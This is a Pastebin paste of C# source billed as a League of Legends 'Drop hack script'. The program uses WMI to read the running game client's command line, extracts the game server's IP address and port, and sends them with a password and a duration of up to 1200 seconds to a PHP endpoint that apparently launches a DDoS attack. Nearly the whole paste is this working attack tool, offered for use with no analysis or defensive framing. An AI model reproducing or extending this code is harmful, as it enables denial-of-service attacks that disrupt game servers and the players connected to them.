TP2K1

LOL Hack Disconnect

Jun 25th, 2015
528
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.22 KB | None | 0 0
  1. League of Legends Drop hack script.
  2.  
  3.  
  4. using System;
  5. using System.Collections.Generic;
  6. using System.Management;
  7. using System.Management.Instrumentation;
  8. using System.Net;
  9. using System.Text.RegularExpressions;
  10.  
  11. namespace League_IP
  12. {
  13. internal class Lolip
  14. {
  15.  
  16. private static void Main(string[] args)
  17. {
  18. Lolip ip1 = new Lolip();
  19. List<string> result = ip1.wmi_process();
  20. int time = -1;
  21. if (result.Count >= 1)
  22. {
  23. Console.WriteLine("IP: " + result[0]);
  24. Console.WriteLine("Port: " + result[1]);
  25. string password = ip1.Menu();
  26. Console.WriteLine("Insert time of DDOS max 1200 sec");
  27. string time_input = Console.ReadLine();
  28. try
  29. {
  30. time = Convert.ToInt32(time_input);
  31. }
  32. catch (FormatException e)
  33. {
  34. Console.WriteLine("Input string is not a sequence of digits.");
  35. }
  36. catch (OverflowException e)
  37. {
  38. Console.WriteLine("The number cannot fit in an Int32.");
  39. }
  40. finally
  41. {
  42. if (time > 1200) time = 1200;
  43.  
  44. }
  45. ip1.HTTPGet(result[0], result[1], password, time);
  46. }
  47.  
  48. }
  49.  
  50. private string Menu()
  51. {
  52.  
  53. Console.WriteLine(" Insert your passwrord");
  54. string password = Console.ReadLine();
  55. password = password.Trim();
  56. string command = "";
  57. do
  58. {
  59. Console.WriteLine("Write ddos to start");
  60. command = Console.ReadLine();
  61. command = command.Trim();
  62. } while (command != "ddos");
  63.  
  64. return password;
  65. }
  66.  
  67.  
  68. private List<string> wmi_process()
  69. {
  70. string result = "";
  71. List<string> iport = new List<string>();
  72. try
  73. {
  74. ManagementObjectSearcher searcher =
  75. new ManagementObjectSearcher("root\\CIMV2",
  76. "SELECT * FROM Win32_Process WHERE Caption = 'League of Legends.exe'");
  77.  
  78. foreach (ManagementObject queryObj in searcher.Get())
  79. {
  80. Object out_query = queryObj["CommandLine"];
  81. result = out_query.ToString();
  82. }
  83. }
  84. catch (ManagementException e)
  85. {
  86. Console.WriteLine("An error occurred while querying for WMI data: " + e.Message);
  87. }
  88. if (result.Length <= 1) return iport;
  89.  
  90. string pattern = "\"";
  91.  
  92. IList<int> indeces = new List<int>();
  93.  
  94. foreach (Match match in Regex.Matches(result, pattern))
  95. {
  96. indeces.Add(match.Index);
  97. }
  98.  
  99.  
  100. int pos_split = indeces[indeces.Count - 2];
  101. string split = result.Substring(pos_split + 1);
  102. string ip_final = split.Substring(0, split.IndexOf(' ') + 1);
  103. string port = split.Substring(ip_final.Length, 4);
  104.  
  105. ip_final = ip_final.Trim();
  106. port = port.Trim();
  107. iport.Add(ip_final);
  108. iport.Add(port);
  109.  
  110. return iport;
  111. }
  112.  
  113.  
  114. private void HTTPGet(string target_ip, string port, string password, int time)
  115. {
  116.  
  117. Console.WriteLine("Attack sent to target: " + target_ip + " on port " + port);
  118. string str_time = Convert.ToString(time);
  119. string address = string.Format(
  120. "127.0.0.1/ssh_remote.php?ip={0}&port={1}&password={2}&time={3}",
  121. Uri.EscapeDataString(target_ip),
  122. Uri.EscapeDataString(port),
  123. Uri.EscapeDataString(password),
  124. Uri.EscapeDataString(str_time));
  125. string text;
  126. using (WebClient client = new WebClient())
  127. {
  128. text = client.DownloadString(address);
  129. }
  130. Console.WriteLine(text);
  131. Console.ReadLine();
  132.  
  133. }
  134. }
  135. }
Add Comment
Please, Sign In to add comment